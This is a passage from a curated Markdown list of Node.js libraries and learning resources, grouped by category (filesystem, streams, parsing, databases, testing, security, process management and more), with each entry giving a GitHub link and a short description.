- [make-dir](https://github.com/sindresorhus/make-dir) - Recursively create directories like `mkdir -p`.
- [graceful-fs](https://github.com/isaacs/node-graceful-fs) - Drop-in replacement for the `fs` module with various improvements.
- [chokidar](https://github.com/paulmillr/chokidar) - Filesystem watcher which stabilizes events from `fs.watch` and `fs.watchFile` as well as using native `fsevents` on macOS.
- [find-up](https://github.com/sindresorhus/find-up) - Find a file by walking up parent directories.
- [proper-lockfile](https://github.com/IndigoUnited/node-proper-lockfile) - Inter-process and inter-machine lockfile utility.
- [load-json-file](https://github.com/sindresorhus/load-json-file) - Read and parse a JSON file.
- [write-json-file](https://github.com/sindresorhus/write-json-file) - Stringify and write JSON to a file atomically.
- [fs-write-stream-atomic](https://github.com/npm/fs-write-stream-atomic) - Like `fs.createWriteStream()`, but atomic.
- [filenamify](https://github.com/sindresorhus/filenamify) - Convert a string to a valid filename.
- [lnfs](https://github.com/kevva/lnfs) - Force create symlinks like `ln -fs`.
- [istextorbinary](https://github.com/bevry/istextorbinary) - Check if a file is text or binary.
- [fs-jetpack](https://github.com/szwacz/fs-jetpack) - Completely redesigned file system API for convenience in everyday use.
- [fs-extra](https://github.com/jprichardson/node-fs-extra) - Extra methods for the `fs` module.
- [pkg-dir](https://github.com/sindresorhus/pkg-dir) - Find the root directory of an npm package.
- [filehound](https://github.com/nspragg/filehound) - Flexible and fluent interface for searching the file system.
- [move-file](https://github.com/sindresorhus/move-file) - Move a file, even works across devices.
- [tempy](https://github.com/sindresorhus/tempy) - Get a random temporary file or directory path.
### Control flow
- Promises
- [Bluebird](https://github.com/petkaantonov/bluebird) - Promise library with focus on innovative features and performance.
- [pify](https://github.com/sindresorhus/pify) - Promisify a callback-style function.
- [delay](https://github.com/sindresorhus/delay) - Delay a promise a specified amount of time.
- [promise-memoize](https://github.com/nodeca/promise-memoize) - Memoize promise-returning functions, with expire and prefetch.
- [valvelet](https://github.com/lpinca/valvelet) - Limit the execution rate of a promise-returning function.
- [p-map](https://github.com/sindresorhus/p-map) - Map over promises concurrently.
- [More…](https://github.com/sindresorhus/promise-fun)
- Observables
- [zen-observable](https://github.com/zenparsing/zen-observable) - Implementation of Observables.
- [RxJS](https://github.com/ReactiveX/RxJS) - Reactive programming.
- [observable-to-promise](https://github.com/sindresorhus/awesome-observables) - Convert an Observable to a Promise.
- [More…](https://github.com/sindresorhus/awesome-observables)
- Streams
- [Highland.js](https://github.com/caolan/highland) - Manages synchronous and asynchronous code easily, using nothing more than standard JavaScript and Node-like Streams.
- Callbacks
- [each-async](https://github.com/sindresorhus/each-async) - Async concurrent iterator like forEach.
- [async](https://github.com/caolan/async) - Provides straight-forward, powerful functions for working with asynchronicity.
- Channels
- [js-csp](https://github.com/ubolonton/js-csp) - Communicating sequential processes for JavaScript (like Clojurescript core.async, or Go).
### Streams
- [through2](https://github.com/rvagg/through2) - Tiny wrapper around streams2 Transform to avoid explicit subclassing noise.
- [from2](https://github.com/hughsk/from2) - Convenience wrapper for ReadableStream, inspired by `through2`.
- [get-stream](https://github.com/sindresorhus/get-stream) - Get a stream as a string or buffer.
- [into-stream](https://github.com/sindresorhus/into-stream) - Convert a buffer/string/array/object into a stream.
- [duplexify](https://github.com/mafintosh/duplexify) - Turn a writeable and readable stream into a single streams2 duplex stream.
- [pumpify](https://github.com/mafintosh/pumpify) - Combine an array of streams into a single duplex stream.
- [peek-stream](https://github.com/mafintosh/peek-stream) - Transform stream that lets you peek the first line before deciding how to parse it.
- [binary-split](https://github.com/maxogden/binary-split) - Newline (or any delimiter) splitter stream.
- [byline](https://github.com/jahewson/node-byline) - Super-simple line-by-line Stream reader.
- [first-chunk-stream](https://github.com/sindresorhus/first-chunk-stream) - Transform the first chunk in a stream.
- [pad-stream](https://github.com/sindresorhus/pad-stream) - Pad each line in a stream.
- [multistream](https://github.com/feross/multistream) - Combine multiple streams into a single stream.
- [stream-combiner2](https://github.com/substack/stream-combiner2) - Turn a pipeline into a single stream.
- [readable-stream](https://github.com/nodejs/readable-stream) - Mirror of Streams2 and Streams3 implementations in core.
- [through2-concurrent](https://github.com/almost/through2-concurrent) - Transform object streams concurrently.
### Real-time
- [µWebSockets](https://github.com/uWebSockets/uWebSockets) - Highly scalable WebSocket server & client library.
- [Socket.io](https://github.com/socketio/socket.io) - Enables real-time bidirectional event-based communication.
- [Faye](https://github.com/faye/faye) - Real-time client-server message bus, based on Bayeux protocol.
- [SocketCluster](https://github.com/SocketCluster/socketcluster) - Scalable HTTP + WebSocket engine which can run on multiple CPU cores.
- [Primus](https://github.com/primus/primus) - An abstraction layer for real-time frameworks to prevent module lock-in.
- [deepstream.io](https://github.com/deepstreamIO/deepstream.io-client-js) - Scalable real-time microservice framework.
- [Kalm](https://github.com/kalm/kalm.js) - Low-level socket router and middleware framework.
- [MQTT.js](https://github.com/mqttjs/MQTT.js) - Client for MQTT - Pub-sub based messaging protocol for use on top of TCP/IP.
- [rpc-websockets](https://github.com/elpheria/rpc-websockets) - JSON-RPC 2.0 implementation over WebSockets.
- [Aedes](https://github.com/mcollina/aedes) - Barebone MQTT server that can run on any stream server.
### Image
- [sharp](https://github.com/lovell/sharp) - The fastest module for resizing JPEG, PNG, WebP and TIFF images.
- [image-type](https://github.com/sindresorhus/image-type) - Detect the image type of a Buffer/Uint8Array.
- [gm](https://github.com/aheckmann/gm) - GraphicsMagick and ImageMagick wrapper.
- [lwip](https://github.com/EyalAr/lwip) - Lightweight image processor which does not require ImageMagick.
- [pica](https://github.com/nodeca/pica) - High quality & fast resize (lanczos3) in pure JS. Alternative to canvas drawImage(), when no pixelation allowed.
- [jimp](https://github.com/oliver-moran/jimp) - Image processing in pure JavaScript.
- [probe-image-size](https://github.com/nodeca/probe-image-size) - Get the size of most image formats without a full download.
- [qrcode](https://github.com/soldair/node-qrcode) - QR code and bar code generator.
### Text
- [iconv-lite](https://github.com/ashtuchkin/iconv-lite) - Convert character encodings.
- [string-length](https://github.com/sindresorhus/string-length) - Get the real length of a string - by correctly counting astral symbols and ignoring ansi escape codes.
- [camelcase](https://github.com/sindresorhus/camelcase) - Convert a dash/dot/underscore/space separated string to camelCase: foo-bar → fooBar.
- [escape-string-regexp](https://github.com/sindresorhus/escape-string-regexp) - Escape RegExp special characters.
- [execall](https://github.com/sindresorhus/execall) - Find multiple RegExp matches in a string.
- [splice-string](https://github.com/sindresorhus/splice-string) - Remove or replace part of a string like `Array#splice`.
- [indent-string](https://github.com/sindresorhus/indent-string) - Indent each line in a string.
- [strip-indent](https://github.com/sindresorhus/strip-indent) - Strip leading whitespace from every line in a string.
- [detect-indent](https://github.com/sindresorhus/detect-indent) - Detect the indentation of code.
- [he](https://github.com/mathiasbynens/he) - HTML entity encoder/decoder.
- [i18n-node](https://github.com/mashpie/i18n-node) - Simple translation module with dynamic JSON storage.
- [babelfish](https://github.com/nodeca/babelfish) - i18n with very easy syntax for plurals.
- [matcher](https://github.com/sindresorhus/matcher) - Simple wildcard matching.
- [unhomoglyph](https://github.com/nodeca/unhomoglyph) - Normalize visually similar unicode characters.
- [i18next](https://github.com/i18next/i18next) - Internationalization framework.
- [nanoid](https://github.com/ai/nanoid) - Tiny, secure, URL-friendly, unique string ID generator.
- [StegCloak](https://github.com/kurolabs/stegcloak) - Conceal secrets within strings, in plain sight.
### Number
- [random-int](https://github.com/sindresorhus/random-int) - Generate a random integer.
- [random-float](https://github.com/sindresorhus/random-float) - Generate a random float.
- [unique-random](https://github.com/sindresorhus/unique-random) - Generate random numbers that are consecutively unique.
- [round-to](https://github.com/sindresorhus/round-to) - Round a number to a specific number of decimal places: `1.234` → `1.2`.
### Math
- [ndarray](https://github.com/scijs/ndarray) - Multidimensional arrays.
- [mathjs](https://github.com/josdejong/mathjs) - An extensive math library.
- [math-clamp](https://github.com/sindresorhus/math-clamp) - Clamp a number.
- [algebra](https://github.com/fibo/algebra) - Algebraic structures.
- [multimath](https://github.com/nodeca/multimath) - Core to create fast image math in WebAssembly and JS.
### Date
- [Luxon](https://github.com/moment/luxon) - Library for working with dates and times.
- [date-fns](https://github.com/date-fns/date-fns) - Modern date utility.
- [Moment.js](http://momentjs.com) - Parse, validate, manipulate, and display dates.
- [Day.js](https://github.com/iamkun/dayjs) - Immutable date library alternative to Moment.js.
- [dateformat](https://github.com/felixge/node-dateformat) - Date formatting.
- [tz-format](https://github.com/samverschueren/tz-format) - Format a date with timezone: `2015-11-30T10:40:35+01:00`.
- [cctz](https://github.com/floatdrop/node-cctz) - Fast parsing, formatting, and timezone conversation for dates.
### URL
- [normalize-url](https://github.com/sindresorhus/normalize-url) - Normalize a URL.
- [humanize-url](https://github.com/sindresorhus/humanize-url) - Humanize a URL: http://sindresorhus.com → sindresorhus.com.
- [url-unshort](https://github.com/nodeca/url-unshort) - Expand shortened URLs.
- [speakingurl](https://github.com/pid/speakingurl) - Generate a slug from a string with transliteration.
- [linkify-it](https://github.com/markdown-it/linkify-it) - Link patterns detector with full unicode support.
- [url-pattern](https://github.com/snd/url-pattern) - Easier than regex string matching patterns for URLs and other strings.
- [embedza](https://github.com/nodeca/embedza) - Create HTML snippets/embeds from URLs using info from oEmbed, Open Graph, meta tags.
### Data validation
- [joi](https://github.com/hapijs/joi) - Object schema description language and validator for JavaScript objects.
- [is-my-json-valid](https://github.com/mafintosh/is-my-json-valid) - JSON Schema validator that uses code generation to be extremely fast.
- [property-validator](https://github.com/nettofarah/property-validator) - Easy property validation for Express.
- [schema-inspector](https://github.com/Atinux/schema-inspector) - JSON API sanitization and validation.
- [ajv](https://github.com/epoberezkin/ajv) - The fastest JSON Schema validator. Supports v5, v6 and v7 proposals.
- [Superstruct](https://github.com/ianstormtaylor/superstruct) - Simple and composable way to validate data in JavaScript (and TypeScript).
### Parsing
- [remark](https://github.com/wooorm/remark) - Markdown processor powered by plugins.
- [markdown-it](https://github.com/markdown-it/markdown-it) - Markdown parser with 100% CommonMark support, extensions and syntax plugins.
- [parse5](https://github.com/inikulin/parse5) - Fast full-featured spec compliant HTML parser.
- [strip-json-comments](https://github.com/sindresorhus/strip-json-comments) - Strip comments from JSON.
- [strip-css-comments](https://github.com/sindresorhus/strip-css-comments) - Strip comments from CSS.
- [parse-json](https://github.com/sindresorhus/parse-json) - Parse JSON with more helpful errors.
- [URI.js](https://github.com/medialize/URI.js) - URL mutation.
- [PostCSS](https://github.com/postcss/postcss) - CSS parser / stringifier.
- [JSONStream](https://github.com/dominictarr/JSONStream) - Streaming JSON.parse and stringify.
- [neat-csv](https://github.com/sindresorhus/neat-csv) - Fast CSV parser. Callback interface for the above.
- [csv-parser](https://github.com/mafintosh/csv-parser) - Streaming CSV parser that aims to be faster than everyone else.
- [PEG.js](https://github.com/pegjs/pegjs) - Simple parser generator that produces fast parsers with excellent error reporting.
- [x-ray](https://github.com/lapwinglabs/x-ray) - Web scraping utility.
- [nearley](https://github.com/Hardmath123/nearley) - Simple, fast, powerful parsing for JavaScript.
- [binary-extract](https://github.com/juliangruber/binary-extract) - Extract a value from a buffer of JSON without parsing the whole thing.
- [Stylecow](https://github.com/stylecow/stylecow) - Parse, manipulate and convert modern CSS to make it compatible with all browsers. Extensible with plugins.
- [js-yaml](https://github.com/nodeca/js-yaml) - Very fast YAML parser.
- [xml2js](https://github.com/Leonidas-from-XIV/node-xml2js) - XML to JavaScript object converter.
- [Jison](https://github.com/zaach/jison) - Friendly JavaScript parser generator. It shares genes with Bison, Yacc and family.
- [google-libphonenumber](https://github.com/seegno/google-libphonenumber) - Parse, format, store and validate phone numbers.
- [ref](https://github.com/TooTallNate/ref) - Read/write structured binary data in Buffers.
- [xlsx-populate](https://github.com/dtjohnson/xlsx-populate) - Read/write Excel XLSX.
- [Chevrotain](https://github.com/SAP/chevrotain) - Very fast and feature rich parser building toolkit for JavaScript.
- [fast-xml-parser](https://github.com/NaturalIntelligence/fast-xml-parser) - Validate and parse XML.
### Humanize
- [pretty-bytes](https://github.com/sindresorhus/pretty-bytes) - Convert bytes to a human readable string: `1337` → `1.34 kB`.
- [pretty-ms](https://github.com/sindresorhus/pretty-ms) - Convert milliseconds to a human readable string: `1337000000` → `15d 11h 23m 20s`.
- [ms](https://github.com/rauchg/ms.js) - Tiny millisecond conversion utility.
- [pretty-error](https://github.com/AriaMinaei/pretty-error) - Errors with less clutter.
- [read-art](https://github.com/Tjatse/node-readability) - Extract readable content from any page.
### Compression
- [yazl](https://github.com/thejoshwolfe/yazl) - Zip.
- [yauzl](https://github.com/thejoshwolfe/yauzl) - Unzip.
- [Archiver](https://github.com/archiverjs/node-archiver) - Streaming interface for archive generation, supporting ZIP and TAR.
- [pako](https://github.com/nodeca/pako) - High speed zlib port to pure js (deflate, inflate, gzip).
- [tar-stream](https://github.com/mafintosh/tar-stream) - Streaming tar parser and generator. Also see [tar-fs](https://github.com/mafintosh/tar-fs).
- [decompress](https://github.com/kevva/decompress) - Decompression module with support for `tar`, `tar.gz` and `zip` files out of the box.
### Network
- [get-port](https://github.com/sindresorhus/get-port) - Get an available port.
- [ipify](https://github.com/sindresorhus/ipify) - Get your public IP address.
- [getmac](https://github.com/bevry/getmac) - Get the computer MAC address.
- [DHCP](https://github.com/infusion/node-dhcp) - DHCP client and server.
- [netcat](https://github.com/roccomuso/netcat) - Netcat port in pure JS.
### Database
- Drivers
- [PostgreSQL](https://github.com/brianc/node-postgres) - PostgreSQL client. Pure JavaScript and native libpq bindings.
- [Redis](https://github.com/luin/ioredis) - Redis client.
- [LevelUP](https://github.com/Level/levelup) - LevelDB.
- [MySQL](https://github.com/mysqljs/mysql) - MySQL client.
- [couchdb-nano](https://github.com/apache/couchdb-nano) - CouchDB client.
- [Aerospike](https://github.com/aerospike/aerospike-client-nodejs) - Aerospike client.
- [Couchbase](https://github.com/couchbase/couchnode) - Couchbase client.
- [MongoDB](https://github.com/mongodb/node-mongodb-native) - MongoDB driver.
- ODM / ORM
- [Sequelize](https://github.com/sequelize/sequelize) - Multi-dialect ORM. Supports PostgreSQL, SQLite, MySQL, and more.
- [Bookshelf](https://github.com/bookshelf/bookshelf) - ORM for PostgreSQL, MySQL and SQLite3 in the style of Backbone.js.
- [Massive](https://github.com/robconery/massive-js) - PostgreSQL data access tool.
- [Mongoose](https://github.com/Automattic/mongoose) - Elegant MongoDB object modeling.
- [Waterline](https://github.com/balderdashy/waterline) - Datastore-agnostic tool that dramatically simplifies interaction with one or more databases.
- [OpenRecord](https://github.com/PhilWaldmann/openrecord) - ORM for PostgreSQL, MySQL, SQLite3 and RESTful datastores. Similar to ActiveRecord.
- [pg-promise](https://github.com/vitaly-t/pg-promise) - PostgreSQL framework for native SQL using promises.
- [slonik](https://github.com/gajus/slonik) - PostgreSQL client with strict types, detailed logging and assertions.
- [Objection.js](https://github.com/Vincit/objection.js) - Lightweight ORM built on the SQL query builder Knex.
- [TypeORM](https://github.com/typeorm/typeorm) - ORM for PostgreSQL, MariaDB, MySQL, SQLite, and more.
- [MikroORM](https://github.com/mikro-orm/mikro-orm) - TypeScript ORM based on Data Mapper, Unit of Work and Identity Map patterns. Supports MongoDB, PostgreSQL, MySQL and SQLite.
- [Prisma](https://github.com/prisma/prisma) - Modern database access (ORM alternative). Auto-generated and type-safe query builder in TypeScript. Supports PostgreSQL, MySQL & SQLite.
- Query builder
- [Knex](https://github.com/tgriesser/knex) - Query builder for PostgreSQL, MySQL and SQLite3, designed to be flexible, portable, and fun to use.
- Other
- [NeDB](https://github.com/louischatriot/nedb) - Embedded persistent database written in JavaScript.
- [Lowdb](https://github.com/typicode/lowdb) - Small JavaScript database powered by Lodash.
- [Keyv](https://github.com/lukechilds/keyv) - Simple key-value storage with support for multiple backends.
- [Finale](https://github.com/tommybananas/finale) - RESTful endpoint generator for your Sequelize models.
- [database-js](https://github.com/mlaanderson/database-js) - Wrapper for multiple databases with a JDBC-like connection.
- [Mongo Seeding](https://github.com/pkosiec/mongo-seeding) - Populate MongoDB databases with JavaScript and JSON files.
- [@databases](https://github.com/ForbesLindesay/atdatabases) - Query PostgreSQL, MySQL and SQLite3 with plain SQL without risking SQL injection.
- [pg-mem](https://github.com/oguimbal/pg-mem) - In-memory PostgreSQL instance for your tests.
### Testing
- [AVA](https://github.com/avajs/ava) - Futuristic test runner.
- [Mocha](https://github.com/mochajs/mocha) - Feature-rich test framework making asynchronous testing simple and fun.
- [nyc](https://github.com/bcoe/nyc) - Code coverage tool built on istanbul that works with subprocesses.
- [tap](https://github.com/isaacs/node-tap) - TAP test framework.
- [tape](https://github.com/substack/tape) - TAP-producing test harness.
- [power-assert](https://github.com/power-assert-js/power-assert) - Provides descriptive assertion messages through the standard assert interface.
- [Mochify](https://github.com/mantoni/mochify.js) - TDD with Browserify, Mocha, PhantomJS and WebDriver.
- [trevor](https://github.com/vdemedes/trevor) - Run tests against multiple versions of Node.js without switching versions manually or pushing to Travis CI.
- [loadtest](https://github.com/alexfernandez/loadtest) - Run load tests for your web application, with an API for automation.
- [Sinon.JS](https://github.com/sinonjs/sinon) - Test spies, stubs and mocks.
- [navit](https://github.com/nodeca/navit) - PhantomJS / SlimerJS wrapper to simplify browser test scripting.
- [Nock](https://github.com/pgte/nock) - HTTP mocking and expectations.
- [intern](https://github.com/theintern/intern) - Code testing stack.
- [toxy](https://github.com/h2non/toxy) - Hackable HTTP proxy to simulate failure scenarios and network conditions.
- [hook-std](https://github.com/sindresorhus/hook-std) - Hook and modify stdout/stderr.
- [testen](https://github.com/egoist/testen) - Run tests for multiple versions of Node.js locally with NVM.
- [Nightwatch](https://github.com/nightwatchjs/nightwatch) - Automated UI testing framework based on Selenium WebDriver.
- [WebdriverIO](https://github.com/webdriverio/webdriverio) - Automated testing based on the WebDriver protocol.
- [Jest](https://github.com/facebook/jest) - Painless JavaScript testing.
- [TestCafe](https://github.com/DevExpress/testcafe) - Automated browser testing.
- [abstruse](https://github.com/bleenco/abstruse) - Continuous Integration server.
- [CodeceptJS](https://github.com/Codeception/CodeceptJS) - End-to-end testing.
- [Puppeteer](https://github.com/GoogleChrome/puppeteer) - Headless Chrome.
- [Playwright](https://github.com/microsoft/playwright) - Headless Chromium, WebKit, and Firefox with a single API.
- [nve](https://github.com/ehmicky/nve) - Run any command on multiple versions of Node.js locally.
- [axe-core](https://github.com/dequelabs/axe-core) - Accessibility engine for automated Web UI testing.
- [testcontainers-node](https://github.com/testcontainers/testcontainers-node) - Provides lightweight, throwaway instances of common databases, Selenium web browsers, or anything else that can run in a Docker container.
### Security
- [upash](https://github.com/simonepri/upash) - Unified API for all password hashing algorithms.
- [themis](https://github.com/cossacklabs/themis) - Multilanguage framework for making typical encryption schemes easy to use: data at rest, authenticated data exchange, transport protection, authentication, and so on.
- [GuardRails](https://github.com/apps/guardrails) - GitHub app that provides security feedback in pull requests.
- [rate-limiter-flexible](https://github.com/animir/node-rate-limiter-flexible) - Brute-force and DDoS attack protection.
- [crypto-hash](https://github.com/sindresorhus/crypto-hash) - Async non-blocking hashing.
- [jose-simple](https://github.com/davesag/jose-simple) - Encryption and decryption of data using the JOSE (JSON Object Signing and Encryption) standard.
### Benchmarking
- [Benchmark.js](https://github.com/bestiejs/benchmark.js) - Benchmarking library that supports high-resolution timers and returns statistically significant results.
- [matcha](https://github.com/logicalparadox/matcha) - Simplistic approach to benchmarking.
### Minifiers
- [babili](https://github.com/babel/babili) - ES2015+ aware minifier based on the Babel toolchain.
- [UglifyJS2](https://github.com/mishoo/UglifyJS2) - JavaScript minifier.
- [clean-css](https://github.com/jakubpawlowicz/clean-css) - CSS minifier.
- [minimize](https://github.com/Swaagie/minimize) - HTML minifier.
- [imagemin](https://github.com/imagemin/imagemin) - Image minifier.
### Authentication
- [Passport](https://github.com/jaredhanson/passport) - Simple, unobtrusive authentication.
- [Grant](https://github.com/simov/grant) - OAuth providers for Express, Koa, Hapi, Fastify, AWS Lambda, Azure, Google Cloud, Vercel, and many more.
### Authorization
- [CASL](https://github.com/stalniy/casl) - Isomorphic authorization for UI and API.
- [node-casbin](https://github.com/casbin/node-casbin) - Authorization library that supports access control models like ACL, RBAC and ABAC.
### Email
- [Nodemailer](https://github.com/andris9/Nodemailer) - The fastest way to handle email.
- [emailjs](https://github.com/eleith/emailjs) - Send text/HTML emails with attachments to any SMTP server.
- [email-templates](https://github.com/niftylettuce/email-templates) - Create, preview, and send custom email templates.
- [MJML](https://github.com/mjmlio/mjml) - Markup language designed to reduce the pain of creating responsive emails.
### Job queues
- [bull](https://github.com/OptimalBits/bull) - Persistent job and message queue.
- [agenda](https://github.com/rschmukler/agenda) - MongoDB-backed job scheduling.
- [idoit](https://github.com/nodeca/idoit) - Redis-backed job queue engine with advanced job control.
- [node-resque](https://github.com/taskrabbit/node-resque) - Redis-backed job queue.
- [rsmq](https://github.com/smrchy/rsmq) - Redis-backed message queue.
- [bee-queue](https://github.com/bee-queue/bee-queue) - High-performance Redis-backed job queue.
- [RedisSMQ](https://github.com/weyoss/redis-smq) - Simple high-performance Redis message queue with real-time monitoring.
- [sqs-consumer](https://github.com/bbc/sqs-consumer) - Build Amazon Simple Queue Service (SQS) based apps without the boilerplate.
- [better-queue](https://github.com/diamondio/better-queue) - Simple and efficient job queue when you cannot use Redis.
### Node.js management
- [n](https://github.com/tj/n) - Node.js version management.
- [nave](https://github.com/isaacs/nave) - Virtual Environments for Node.js.
- [nodeenv](https://github.com/ekalinin/nodeenv) - Node.js virtual environment compatible to Python's virtualenv.
- [nvm for Windows](https://github.com/coreybutler/nvm-windows) - Version management for Windows.
- [nodenv](https://github.com/nodenv/nodenv) - Version manager that is similar to Ruby's rbenv. It supports auto version switching.
- [fnm](https://github.com/Schniz/fnm) - Cross-platform Node.js version manager built in Rust.
### Natural language processing
- [retext](https://github.com/wooorm/retext) - An extensible natural language system.
- [franc](https://github.com/wooorm/franc) - Detect the language of text.
- [leven](https://github.com/sindresorhus/leven) - Measure the difference between two strings using the Levenshtein distance algorithm.
- [natural](https://github.com/NaturalNode/natural) - Natural language facility.
- [nlp.js](https://github.com/axa-group/nlp.js) - Building bots, with entity extraction, sentiment analysis, automatic language identify, and more.
### Process management
- [PM2](https://github.com/Unitech/pm2) - Advanced Process Manager.
- [nodemon](https://github.com/remy/nodemon) - Monitor for changes in your app and automatically restart the server.
- [node-mac](https://github.com/coreybutler/node-mac) - Run scripts as a native Mac daemon and log to the console app.
- [node-linux](https://github.com/coreybutler/node-linux) - Run scripts as native system service and log to syslog.
- [node-windows](https://github.com/coreybutler/node-windows) - Run scripts as a native Windows service and log to the Event viewer.
- [supervisor](https://github.com/petruisfan/node-supervisor) - Restart scripts when they crash or restart when a `*.js` file changes.
- [Phusion Passenger](https://github.com/phusion/passenger) - Friendly process manager that integrates directly into Nginx.
### Automation
- [robotjs](https://github.com/octalmage/robotjs) - Desktop Automation: control the mouse, keyboard and read the screen.
- [nut.js](https://github.com/nut-tree/nut.js) - Cross-platform native GUI automation / testing framework with image matching capabilities which integrates with Jest.
### AST
- [Acorn](https://github.com/ternjs/acorn) - Tiny, fast JavaScript parser.
- [babel-parser](https://github.com/babel/babel/tree/master/packages/babel-parser) - JavaScript parser used in Babel.
- [cherow](https://github.com/cherow/cherow) - JavaScript parser with focus on performance and stability.
### Static site generators
- [Wintersmith](https://github.com/jnordberg/wintersmith) - Flexible, minimalistic, multi-platform static site generator.
- [Assemble](https://github.com/assemble/assemble/) - Static site generator for Node.js, Grunt.js, and Yeoman.
- [DocPad](https://github.com/docpad/docpad) - Static site generator with dynamic abilities and huge plugin ecosystem.
- [Phenomic](https://github.com/phenomic/phenomic) - Modern static website generator based on the React and Webpack ecosystem.
- [docsify](https://github.com/QingWei-Li/docsify) - Markdown documentation site generator with no statically built HTML files.
- [Charge](https://github.com/brandonweiss/charge) - Opinionated, zero-config static site generator using JSX and MDX.
### Content management systems
- [KeystoneJS](https://github.com/keystonejs/keystone) - CMS and web application platform built on Express and MongoDB.
- [ApostropheCMS](https://github.com/apostrophecms/apostrophe) - Content management system with an emphasis on intuitive front end content editing and administration built on Express and MongoDB.
- [Strapi](https://github.com/strapi/strapi) - Content Management Framework (headless-CMS) to build powerful APIs.
- [Tipe](https://github.com/tipeio/tipe) - Developer-first content management system with GraphQL and REST API from a schema file.
- [Factor](https://github.com/fiction-com/factor) - Vue.js dashboard framework and headless CMS.
- [AdminBro](https://github.com/SoftwareBrothers/admin-bro) - Auto-generated admin panel with CRUD for all your resources.
### Forum
- [nodeBB](https://github.com/NodeBB/NodeBB) - Forum platform for the modern web.
### Blogging
- [Ghost](https://github.com/TryGhost/Ghost) - Simple, powerful publishing platform.
- [Hexo](https://github.com/hexojs/hexo) - Fast, simple and powerful blogging framework.
### Weird
- [cows](https://github.com/sindresorhus/cows) - ASCII cows.
- [superb](https://github.com/sindresorhus/superb) - Get superb like words.
- [cat-names](https://github.com/sindresorhus/cat-names) - Get popular cat names.
- [dog-names](https://github.com/sindresorhus/dog-names) - Get popular dog names.
- [superheroes](https://github.com/sindresorhus/superheroes) - Get superhero names.
- [supervillains](https://github.com/sindresorhus/supervillains) - Get supervillain names.
- [cool-ascii-faces](https://github.com/maxogden/cool-ascii-faces) - Get some cool ascii faces.
- [cat-ascii-faces](https://github.com/melaniecebula/cat-ascii-faces) - `₍˄·͈༝·͈˄₎◞ ̑̑ෆ⃛ (=ↀωↀ=)✧ (^･o･^)ﾉ”`.
- [nerds](https://github.com/SkyHacks/nerds) - Get data from nerdy topics like Harry Potter, Star Wars, and Pokémon.
### Serialization
- [snappy](https://github.com/kesla/node-snappy) - Native bindings for Google's Snappy compression library.
- [protobuf](https://github.com/dcodeIO/protobuf.js) - Implementation of Protocol Buffers.
- [compactr](https://github.com/compactr/compactr.js) - Implementation of the Compactr protocol.
### Miscellaneous
- [execa](https://github.com/sindresorhus/execa) - Better `child_process`.
- [cheerio](https://github.com/cheeriojs/cheerio) - Fast, flexible, and lean implementation of core jQuery designed specifically for the server.
- [Electron](https://github.com/atom/electron) - Build cross platform desktop apps with web technologies. *(You might like [awesome-electron](https://github.com/sindresorhus/awesome-electron))*
- [open](https://github.com/sindresorhus/open) - Opens stuff like websites, files, executables.
- [hasha](https://github.com/sindresorhus/hasha) - Hashing made simple. Get the hash of a buffer/string/stream/file.
- [dot-prop](https://github.com/sindresorhus/dot-prop) - Get a property from a nested object using a dot path.
- [onetime](https://github.com/sindresorhus/onetime) - Only run a function once.
- [mem](https://github.com/sindresorhus/mem) - Memoize functions - an optimization technique used to speed up consecutive function calls by caching the result of calls with identical input.
- [import-fresh](https://github.com/sindresorhus/import-fresh) - Import a module while bypassing the cache.
- [strip-bom](https://github.com/sindresorhus/strip-bom) - Strip UTF-8 byte order mark (BOM) from a string/buffer/stream.
- [os-locale](https://github.com/sindresorhus/os-locale) - Get the system locale.
- [ssh2](https://github.com/mscdex/ssh2) - SSH2 client and server module.
- [adit](https://github.com/markelog/adit) - SSH tunneling made simple.
- [import-lazy](https://github.com/sindresorhus/import-lazy) - Import a module lazily.
- [file-type](https://github.com/sindresorhus/file-type) - Detect the file type of a Buffer.
- [Bottleneck](https://github.com/SGrondin/bottleneck) - Rate limiter that makes throttling easy.
- [ow](https://github.com/sindresorhus/ow) - Function argument validation for humans.
- [webworker-threads](https://github.com/audreyt/node-webworker-threads) - Lightweight Web Worker API implementation with native threads.
- [clipboardy](https://github.com/sindresorhus/clipboardy) - Access the system clipboard (copy/paste).
- [node-pre-gyp](https://github.com/mapbox/node-pre-gyp) - Makes it easy to publish and install Node.js C++ addons from binaries.
- [opencv](https://github.com/peterbraden/node-opencv) - Bindings for OpenCV. The defacto computer vision library.
- [dotenv](https://github.com/motdotla/dotenv) - Load environment variables from .env file.
- [remote-git-tags](https://github.com/sindresorhus/remote-git-tags) - Get tags from a remote git repo.
- [semver](https://github.com/npm/node-semver) - Semantic version parser.
- [Faker.js](https://github.com/Marak/Faker.js) - Generate massive amounts of fake data.
- [nodegit](https://github.com/nodegit/nodegit) - Native bindings to Git.
- [json-strictify](https://github.com/pigulla/json-strictify) - Safely serialize a value to JSON without data loss or going into an infinite loop.
- [resolve-from](https://github.com/sindresorhus/resolve-from) - Resolve the path of a module like `require.resolve()` but from a given path.
- [simplecrawler](https://github.com/cgiffard/node-simplecrawler) - Event driven web crawler.
- [jsdom](https://github.com/tmpvar/jsdom) - JavaScript implementation of HTML and the DOM.
- [hypernova](https://github.com/airbnb/hypernova) - Server-side rendering your JavaScript views.
- [@sindresorhus/is](https://github.com/sindresorhus/is) - Type check values.
- [env-dot-prop](https://github.com/simonepri/env-dot-prop) - Get, set, or delete nested properties of process.env using a dot path.
- [emittery](https://github.com/sindresorhus/emittery) - Simple and modern async event emitter.
- [node-video-lib](https://github.com/gkozlenko/node-video-lib) - Pure JavaScript library for working with MP4 and FLV video files and creating MPEG-TS chunks for HLS streaming.
- [basic-ftp](https://github.com/patrickjuchli/basic-ftp) – FTP/FTPS client.
- [cashify](https://github.com/xxczaki/cashify) - Currency conversion.
- [genepi](https://github.com/Geode-solutions/genepi) - Automatically generate a native Node.js addon from C++ code.
- [husky](https://github.com/typicode/husky) - Create Git hook scripts.
- [patch-package](https://github.com/ds300/patch-package) - Make and preserve fixes to npm dependencies.
- [editly](https://github.com/mifi/editly) - Declarative video editing API.
## Resources
### Tutorials
- [Node.js Best Practices](https://github.com/i0natan/nodebestpractices) - Summary and curation of the top-ranked content on Node.js best practices, available in multiple languages.
- [Nodeschool](https://github.com/nodeschool) - Learn Node.js with interactive lessons.
- [The Art of Node](https://github.com/maxogden/art-of-node/#the-art-of-node) - An introduction to Node.js.
- [stream-handbook](https://github.com/substack/stream-handbook) - How to write Node.js programs with streams.
- [module-best-practices](https://github.com/mattdesl/module-best-practices) - Some good practices when writing new npm modules.
